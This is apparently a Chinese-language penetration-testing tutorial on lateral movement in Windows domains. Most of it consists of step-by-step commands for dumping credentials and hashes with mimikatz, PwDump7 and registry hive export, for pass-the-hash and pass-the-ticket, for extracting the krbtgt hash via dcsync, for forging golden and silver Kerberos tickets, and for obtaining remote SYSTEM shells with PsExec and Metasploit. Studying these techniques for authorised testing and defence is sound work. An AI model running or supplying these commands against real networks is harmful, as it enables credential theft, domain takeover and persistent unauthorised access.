滲透測試-27:橫向移動
域內橫向移動
域內橫向移動是指,攻擊者以攻陷的系統為跳板,訪問其他域內主機,擴大攻擊戰果
windows遠端連線
- IPC(Internet Process Connection)指程序間通訊開放的命名管道
- IPC 可以通過驗證使用者名稱和密碼獲得相應許可權,比如遠端管理計算機和檢視共享資源
- 通過
ipc$
可以與目標機器建立連線,利用這個連線,可以訪問目標機器的檔案、上傳、下載以及執行命令等
建立ipc$
# 建立ipc$ net use \\<目標IP>\ipc$ /user:<使用者名稱> <密碼> # 檢視建立的連線 net use # 訪問遠端檔案 dir \\<目標IP>\c$ # 使用 psexec.exe 反彈 shell PsExec.exe -ACCEPTEULA \\<目標IP> -s cmd.exe # 使用 MSF 中的 psexec 模組反彈 shell use exploit/windows/smb/psexec show options set rhosts <目標IP> set smbuser <目標使用者名稱> set smbpass <目標使用者密碼> run getuid # 有些系統版本會報錯,解決方案如下 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
密碼、認證與許可權
獲取密碼方式
- 通過簡單猜測或爆破:弱口令
- 通過系統漏洞:溢位
- 使用者自己洩露:git、配置檔案等洩露
- 通過系統後門:中病毒等
- 通過使用者主機竊聽:鍵盤記錄
- 通過中間人劫持:網路竊聽
Windows密碼檔案原理
- Hash 一般翻譯做“雜湊”,也有直接音譯為“雜湊”的,就是把任意長度的輸入(又叫做預對映 pre-image),通過雜湊演算法,變換成固定長度的輸出,該輸出就是雜湊值。這種轉換是一種壓縮對映,也就是,雜湊值的空間通常遠小於輸入的空間,不同的輸入可能會雜湊成相同的輸出(概率非常小),所以不可能從雜湊值來唯一的確定輸入值。
- 在 windows 下通過 SAMInside 提取到的密碼 Hash 時,可以看到有兩條,分別是 LM-Hash 和 NT-Hash,這是對同一個密碼的兩種不同的加密方式
- windows 密碼結構:
使用者名稱稱:RID:LM-HASH值:NT-HASH值
密碼匯出方式
- C:\Windows\System32\config\SAM
- GetPass
- Mimikatz
- PwnDump7
- WCE
Windows密碼提取工具
GetPass
執行後可獲取明文密碼,2012版本之後的系統已經禁止在記憶體中儲存明文密碼
# 管理員身份執行 cmd
GetPassword_x64.exe
PwDump7
執行後可獲取系統中所有賬戶的 NTLM Hash,可以通過彩虹表破解雜湊值,還可以通過雜湊傳遞的方式進行橫向滲透
密碼線上查詢:
# 管理員身份執行 cmd
PwDump7.exe
QuarksPwDump獲取雜湊
# 管理員身份執行 cmd
QuarksPwDump.exe --dump-hash-local
通過SAM和SYSTEM檔案抓取密碼
# reg save 將登錄檔中的 SAM、System 檔案匯出到本地磁碟
reg save hklm\sam sam.hive
reg save hklm\system system.hive
# 將 sam.hive 和 system.hive 放在 mimikatz.exe 同一個目錄下
lsadump::sam /sam:sam.hive /system:system.hive
雜湊傳遞(PTH)
- 雜湊傳遞攻擊(Pass The Hash)是通過找到與賬戶相關的密碼雜湊值(通常是 NTLM Hash)進行攻擊
- 在 windows 網路中,雜湊值是用來證明身份的(有正確的使用者名稱和密碼雜湊值,就能通過驗證)
- 由於大量計算機在本地安裝時,可能會使用相同的本地管理員賬號和密碼,這樣攻擊者就可以使用雜湊傳遞來登入內網中其他的計算機
獲取雜湊
mimikatz
# 提升許可權
privilege::debug
# system 許可權
token::elevate
# 讀取本地 SAM 檔案,獲取 NTML Hash
lsadump::sam
# 線上讀取雜湊值及明文密碼,執行後生成文字檔案
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
實驗
使用 NTLM Hash 進行雜湊傳遞
# 管理員許可權執行 cmd
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:<目標使用者名稱> /domain:<域名> /ntlm:<NTLM Hash>
# 此時會彈出一個 cmd
dir \\<目標主機名>\c$
# 使用 PsExec 反彈 shell
PsExec.exe -accepteula \\<目標IP> –s cmd.exe
whoami
net nser
票據傳遞(PTT)
雜湊傳遞需要具備管理員許可權,票據傳遞不需要具備管理員許可權
實驗
使用kekeo傳遞票據
# 生成票據:[email protected][email protected]
tgt::ask /user:<目標使用者名稱> /domain:<域名> /ntlm:<NTLM Hash>
# 匯入票據
kerberos::ptt [email protected][email protected]
# 檢測連線
dir \\<目標主機名>\c$
# 使用 PsExec 反彈 shell
PsExec.exe -accepteula \\<目標主機名> -s cmd.exe
使用 mimikatz 傳遞票據
privilege::debug
# 匯出記憶體中的票據
sekurlsa::tickets /export
# 清空記憶體中的票據
kerberos::purge
# 將票據檔案注入記憶體
kerberos::ptt <票據檔名>
# 使用 PsExec 反彈 shell
PsExec.exe -accepteula \\<目標主機名> -s cmd.exe
域認證流程
Kerberos 是用於驗證使用者身份的計算機網路身份驗證協議。下面是 Kerberos 工作方式的一個簡單描述:
-
步驟1: 要啟動 Kerberos 身份驗證過程,首先客戶機輸入憑證(只有 userID) ,然後向 Kerberos Key 分發中心(KDC)的身份驗證伺服器傳送一個身份驗證請求。身份驗證伺服器驗證客戶機的使用者名稱是否在 KDC 資料庫中。
-
步驟2: 如果客戶機的使用者名稱在 KDC 資料庫中不可用,則無法對客戶機進行身份驗證,身份驗證過程結束。如果在 KDC 資料庫中找到客戶機的使用者名稱或 userID,身份驗證伺服器將向客戶機發送一個 Ticket Granting Ticket (TGT)和一個 session key (SK1)。TGT 包含客戶端 ID、客戶端網路地址、時間戳和生存期。會話金鑰(SK1)使用客戶端的祕密金鑰加密,TGT 使用 TGS 的祕密金鑰加密。
-
步驟3: 客戶機使用客戶機/使用者祕密金鑰(由使用者輸入的密碼生成)解密訊息並提取 Session 金鑰和 TGT。解密後,此會話金鑰用於與 TGS 的進一步通訊。
-
步驟4: 經過身份驗證伺服器的身份驗證並解密會話金鑰之後,客戶機從 Ticket Granting Server (TGS)請求服務票證(用於 web/應用程式伺服器訪問)。
-
步驟5: TGS 然後使用 TGS 祕密金鑰對從客戶機接收到的 TGT 進行解密,並提取會話金鑰(SK1)。TGS 解密身份驗證器(TGT)並檢查它是否與客戶機的使用者名稱和客戶機網路地址匹配。TGS 還使用提取的時間戳來確保 TGT 沒有過期。如果流程成功地進行了所有檢查,那麼 KDC 生成一個服務會話金鑰(SK2) ,該金鑰在客戶機和目標伺服器(可能是 web 伺服器或應用程式伺服器)之間共享。
-
步驟6: 客戶端傳送一個訪問應用伺服器的請求。這個請求包括 TGS 上一步接收到的服務會話金鑰(SK2)。如果應用程式伺服器可以對此請求進行身份驗證,則客戶端可以訪問伺服器。
偽造黃金票據
偽造黃金票據是域控制器許可權維持的一種方式
票據傳送實驗
# 獲取域名
net config workstation
# 獲取主機名
nltest /dsgetdc:<域名>
# 匯出 krbtgt 的 NTLM Hash,在域控的 mimikatz 中執行
privilege::debug
lsadump::dcsync /domain:<域名> /all /csv
# 獲取域 sid(注:查出來的字串中,sid 為去掉最後一段-xxx剩餘的部分)
lsadump::dcsync /domain:<域名> /user:krbtgt
wmic useraccount get name,sid
# 偽造黃金票據
kerberos::golden /admin:<目標使用者名稱> /domain:<域名> /sid:<域 SID> /krbtgt:<krbtgt 賬戶的 NTLM Hash> /ticket:<輸出的檔名>.kiribi
# 現在可以將 <輸出的檔名>.kiribi 儲存下來,任何情況下都可以通過該票據進行登入到域控
# 清空票據
kerberos::purge
# 匯入票據
kerberos::ptt <輸出的檔名>.kiribi
# 驗證票據
klist
# 檢測連線
dir \\<目標主機名>\c$
# 使用 PsExec 反彈 shell
PsExec.exe -accepteula \\<目標主機名> -s cmd.exe
偽造白銀票據
- 白銀票據(Silver Ticket),利用過程是偽造 TGS,通過已知的授權服務密碼生成一張可以訪問該服務的票據
- 白銀票據生成過程中,不需要經過 KDC,不需要域域控互動
- 白銀票據依賴服務賬戶(如:LDAP、MSSQL、DNS、CIFS等)的密碼雜湊值
使用白銀票據偽造CIFS服務許可權
# 獲取域名
net config workstation
# 獲取主機名
nltest /dsgetdc:<域名>
# 獲取域 SID(注:查出來的字串中,sid 為去掉最後一段-xxx剩餘的部分)
whoami /all
wmic useraccount get name,sid
# 獲取 NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt
# 偽造白銀票據
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目標主機名>.<域名> /service:cifs /rc4:<目標機的 NTLM Hash> /user:<目標使用者名稱> /ptt
# 驗證許可權
dir \\<目標主機名>\c$
# 使用 PsExec 反彈 shell
PsExec.exe -accepteula \\<目標主機名> -s cmd.exe